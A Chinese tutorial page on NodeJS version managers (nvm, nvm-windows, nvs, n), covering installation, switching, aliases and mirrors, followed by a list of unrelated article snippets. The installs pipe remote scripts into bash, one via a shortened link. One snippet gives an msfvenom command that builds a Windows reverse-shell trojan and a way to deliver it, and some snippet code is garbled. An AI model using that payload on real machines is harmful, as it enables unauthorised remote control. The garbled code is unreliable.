多 NodeJS 环境管理

news2024/12/24 11:31:59

前言

对于某个项目依赖特定版本的 NodeJS,或几个项目的 NodeJS 版本冲突时,需要在系统中安装多个版本的 NodeJS,这时可以使用一些工具来进行多个 NodeJS 的管理。

有很多类似的 NodeJS 管理工具,如 nvm, nvs, n 等,接下来我们来讲讲如何使用。

NVM

NVM(Node Version Manager)是一个 NodeJS 的多版本管理工具,使用 Shell 编写,开源软件,支持 Linux 和 Mac 系统。

官方仓库地址

下载

直接在 Github 的官方仓库 中下载,或者使用下载脚本安装。

curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.40.0/install.sh | bash
# 或者
wget -qO- https://raw.githubusercontent.com/nvm-sh/nvm/v0.40.0/install.sh | bash

脚本会下载并复制 nvm 到 ~/.nvm 目录下,并添加相关的环境变量。如果在命令行中找不到 nvm 命令,可以让终端重新载入配置。

例如:
bash: source ~/.bashrc

zsh: source ~/.zshrc

ksh: . ~/.profile

使用

下载 NodeJS,可指定特定的版本,或使用 node 下载最新的版本。

nvm install node # node 即最新版本
nvm install 14.7.0 # 指定特定版本
nvm install --lts # 下载最新的长期支持版本

设置别名。

nvm alias my_alias v14.4.0

查看可供下载的版本。

nvm ls-remote

指定使用的版本。

nvm use node
nvm use --lts

运行指定的版本。

nvm run node --version

在指定版本的命令行中运行。

nvm exec 4.2 node --version

设置默认使用的版本。

nvm alias default 18

卸载指定的版本。

nvm uninstall <version>

配置文件

支持使用 .nvmrc 配置文件来指定版本,配置文件中仅包含版本号。nvm use, nvm install, nvm exec, nvm run 和 nvm which 命令不带版本参数的情况下就会使用配置文件中指定的版本。

NVM-windows

NVM-windows 是 nvm 多版本管理工具的 Windows 版本,使用 Go 编写,开源软件,支持 Windows 系统。

官方仓库地址

下载

直接在 Github 的官方仓库 中下载,它有一个可视化的安装界面,安装非常简单。

使用

打开命令行进行使用。

在这里插入图片描述

查看 NodeJS 版本。

# 查看已经安装的版本
nvm list

# 查看网络可以下载的版本
nvm list available

# 查看当前使用的版本
nvm current

安装指定版本的 NodeJS。

nvm install <version> [arch]

使用 指定特定的版本,使用 latest 下载最新的稳定版本,使用 lts 下载最近的长期支持版本。可选的 [arch] 指定 32 或 64 位,默认使用系统架构。

切换 NodeJS 版本,版本支持 latest、lts 或 newest,newest 是最新安装的版本。可选的 [arch] 指定 32 或 64 位。

nvm use <version> [arch]

在这里插入图片描述

删除指定的版本。

nvm uninstall <version>

其他管理。

# 打开 NodeJS 控制
nvm on

# 关闭 NodeJS 控制
nvm off

# 设置下载的代理地址,使用 none 则删除代理
nvm proxy [url]

# 设置镜像地址,对于国内加速非常方便
nvm node_mirror <node_mirror_url> # 国内可使用 https://npmmirror.com/mirrors/node/
nvm npm_mirror <npm_mirror_url> # 国内可使用 https://npmmirror.com/mirrors/npm/

NVS

NVS(Node Version Switcher)是一个跨平台的 NodeJS 管理工具,它使用 Javascript 编写,支持 Windows、Mac 和 Linux。

官方仓库地址

安装

可以从官方仓库中下载安装包,对于 Windows 提供了 MSI 安装包,对于 Mac / Linux 也提供了脚本安装。

export NVS_HOME="$HOME/.nvs"
git clone https://github.com/jasongin/nvs "$NVS_HOME"
. "$NVS_HOME/nvs.sh" install

使用

安装特定的版本。

# 安装最新版本
nvs add latest

# 安装最新的长期支持版本
nvs add lts

切换版本。

nvs use lts

nvs 默认使用软链接的方式添加命令,也可以默认添加。

nvs link lts

运行特定的版本。

nvs run <ver> <js> [args...]
nvs exec <ver> <exe> [args...]	

创建别名。

nvs alias [name] [value]

删除特定的版本。

nvs rm <version>

nvs 支持交互的方式,直接输入 nvs 可以交互式选择版本。

在这里插入图片描述

N

一款非常简单,没有子 shell,没有配置文件,没有复杂 API 的 NodeJS 管理工具。它是一个开源软件,使用 shell 编写,支持 Linux 和 Mac。

官方仓库地址

安装

可以直接使用 npm 安装。

npm install -g n

或者使用其他工具安装。

# Mac 使用 brew
brew install n

# Mac 使用 MacPorts
port install n

# 下载脚本安装
curl -L https://bit.ly/n-install | bash

使用

下载特定的 NodeJS 版本,支持 lts,latest 等特定名称。

n 10.16.0
n lts

也支持交互方式,直接输入 n 可以弹出选择列表。

$ n

  node/4.9.1
ο node/8.11.3
  node/10.15.0
 
 Use up/down arrow keys to select a version, return key to install, d to delete, q to quit

使用特定的版本执行。

n run 8.11.3 --debug some.js
n exec 10 my-script --fast test
n exec lts zsh

查看已下载的版本。

n ls

删除特定的版本。

n rm 0.9.4 v0.10.0

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1972328.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【Unity】 HTFramework框架(五十四)【进阶篇】Deployment 轻量级资源部署管线

更新日期&#xff1a;2024年7月31日。 Github源码&#xff1a;[点我获取源码] 索引 Deployment 轻量级资源部署管线使用 Deployment一、创建部署配置二、编辑部署配置三、正式开始资源部署步骤一&#xff1a;资源打包步骤二&#xff1a;资源版本构建步骤三&#xff1a;资源版本…

学习C语言第19天(练习题)

编程题 第一题 改数字 //改数字 int gaishuzi(int * input) {int sum 0;int i 0;while (*input){int bit* input% 10;if (bit % 2 1){sum 1 * pow(10, i);i;}else{sum 0* pow(10, i);i;}*input / 10;}return sum; } int main() {int input 0;scanf("%d&quo…

域气象-大气化学在线耦合模式(WRF/Chem)在大气环境中的应用

随着我国经济快速发展&#xff0c;我国面临着日益严重的大气污染问题。近年来&#xff0c;严重的大气污染问题已经明显影响国计民生&#xff0c;引起政府、学界和人们越来越多的关注。大气污染是工农业生产、生活、交通、城市化等方面人为活动的综合结果&#xff0c;同时气象因…

嵌入式day17

尾插&#xff1a; 头删&#xff1a; 尾删&#xff1a; 双向链表&#xff1a; 循环链表&#xff1a; 内存泄漏&#xff08;malloc 调用的节点需要手动清除&#xff09; 清除&#xff1a; 头删效率更高&#xff0c;算法复杂度更低 共用体 共用体的成员&#xff0c;会共同占用相…

CX32L003F8P6T芯片解密程序破解

CX32L003F8P6T可替代N76E003 CX32L003是一款内嵌32位ARM Cortex-M0内核的超低功耗、Low Pin Count和宽电压工作范围(2.5V~5.5V)的微控制器&#xff0c;最高可运行在24MHz&#xff0c;内置32K/64K字节的嵌入式Flash&#xff0c;4K字节的SRAM&#xff0c;集成了12位1Msps高精度SA…

结构型设计模式:适配器/代理

结构型设计模式&#xff1a;适配器/代理 (qq.com)

软件测试——用例篇(下)

基于需求的设计⽅法 基于需求的设计⽅法也是总的设计测试⽤例的⽅法&#xff0c;在⼯作中&#xff0c; 我们需要参考需求⽂档/产品规格说明书来设计测试⽤例。测试⼈员接到需求之后&#xff0c; 要对需求进⾏分析和验证&#xff0c;从合理的需求中进⼀步分析细化需求&#x…

参加过奥运会的名人和一些几乎参加奥运会的名人 有很多是我们熟悉的人

Facebook创始人也参加过奥运会并获得名次 英国皇室安妮公主和伊丽莎白二世女王的外孙女扎拉廷德尔参加过奥运会 很多我们熟悉的演员也参加过奥运会的选拔 凯特琳詹纳、扎拉廷德尔、科迪辛普森、杰西卡斯普林斯汀 莱昂内尔梅西、迈克尔菲尔普斯、塞雷娜威廉姆斯和勒布朗詹姆斯…

MySQL —— 初始数据库

数据库概念 在学习数据库之前&#xff0c;大家保存数据要么是在程序运行期间&#xff0c;例如&#xff1a;在学习编程语言的时候&#xff0c;大家写过的管理系统&#xff0c;运用一些简单的数据结构&#xff08;例如顺序表&#xff09;来组织数据&#xff0c;可是程序一旦结束…

【图像处理】好莱坞电影里瞬间恢复模糊人像是如何实现的,是真实的技术吗?

好莱坞电影里瞬间恢复模糊人像是如何实现的&#xff0c;是真实的技术吗&#xff1f; 图片来源&#xff1a;论文《PULSE&#xff1a;Self-Supervised Photo Upsampling via Latent Space Exploration of Generative Models》 使用非常低分辨率照片和视频恢复人像高清照片的桥段&…

【前端 · 面试 】HTTP 总结(一)—— HTTP 概述

最近我在做前端面试题总结系列&#xff0c;感兴趣的朋友可以添加关注&#xff0c;欢迎指正、交流。 前端面试http总结.002.jpeg 概念 HTTP 的全称是 Hyper Text Transfer Protocol&#xff0c;翻译过来就是“超文本传输协议”。 HTTP 是一个简单的请求-响应协议&#xff0c;它通…

MSF回弹木马windows测试

windows主机地址为192.168.104.133 kali系统中使用msfvenom命令生成windows系统的回弹木马 msfvenom -p windows/meterpreter/reverse_tcp LHOST192.168.104.131 LPORT12345 -f exe -o shellreverse.exe使用python3 -m http.server 9999来传递文件到windows主机中 msfco…

代码随想录算法训练营第四十九天| 42. 接雨水 、84.柱状图中最大的矩形

42. Trapping Rain Water 双指针暴力解法&#xff1a; 每一列雨水的高度&#xff0c;取决于&#xff0c;该列 左侧最高的柱子和右侧最高的柱子中最矮的那个柱子的高度&#xff0c;即&#xff1a; min(lHeight, rHeight) - height class Solution:def trap(self, height):if l…

华杉研发九学习日记23 多线程

华杉研发九学习日记23 java多线程 一&#xff0c; 线程 1.1 进程 进程就是一个程序运行的标志&#xff0c;是程序运行的状态。 一个正在运行的程序就是一个进程。进程是操作系统资源分配&#xff08;计算资源&#xff0c;比如CPU&#xff0c;存储:内存&#xff09;的最小单…

Day5

BootStrap 这个玩意可以理解为&#xff0c;已经写好的css样式的封装。 在开发中&#xff0c;如果需要用到这个&#xff0c; 首先得下载下来 找到官网&#xff0c;Bootstrap中文网 (bootcss.com) 这里我下载的是最新版的v5&#xff0c; 解压后&#xff0c;把该文件夹放进项目…

计算机三级嵌入式笔记(四)——嵌入式系统软件

目录 考点1 嵌入式软件的特点 考点2 嵌入式系统的软件结构 考点3 硬件抽象层与板级支持包 考点4 引导加载程序 考点5 嵌入式系统的设备驱动程序 考点6 实时系统与实时操作系统 考点7 嵌入式操作系统概述 考点8 Linux 内核 考点9 嵌入式 Linux 操作系统 考点10 Androi…

C语言自定义类型结构体与位段超详解

文章目录 1. 结构体类型的声明1. 1 结构体声明1. 2 结构体变量的创建和初始化1. 3 结构体的特殊声明1. 3 结构体的自引用 2. 结构体内存对齐2. 1 对齐规则2. 2 为什么存在内存对齐2. 3 修改默认对齐数 3. 结构体传参4. 结构体实现位段4. 1 什么是位段4. 2 位段成员的内存分配4.…

centos7 中安装 mysql 8.x以及对数据库的管理(数据库、表的增删改查、插入删除数据)

Day 16 centos7 中安装 mysql 8.x 1.下载安装包 [rootmysql~]#wget https://downloads.mysql.com/archives/get/p/23/file/mysql-8.0.33-1.el7.x86_64.rpm-bundle.tar 2.解压 tar -xf mysql-8.0.33-1.el7.x86_64.rpm-bundle.tar [rootmysql ~]# ls anaconda-ks.cfg mys…

美业收银系统【客户管理】的重要作用|美业门店管理系统Java源码、系统演示

美业系统中的客户管理功能可以起到多种作用&#xff0c;包括但不限于以下几点&#xff1a; 1.客户档案管理&#xff1a; 记录客户的个人信息、偏好、消费记录等&#xff0c;便于了解客户需求&#xff0c;提供个性化的服务和推荐。 2.预约和排队管理&#xff1a; 帮助美业从…

探索Netty框架的核心构件

Netty是一个高性能、异步事件驱动的网络应用程序框架&#xff0c;用于快速开发可维护的高性能、高可靠性的网络服务器和客户端程序。本文将深入探讨Netty框架的基本组件&#xff0c;帮助开发者更好地理解和使用这一强大的工具。 1. 事件循环&#xff08;EventLoop&#xff09;…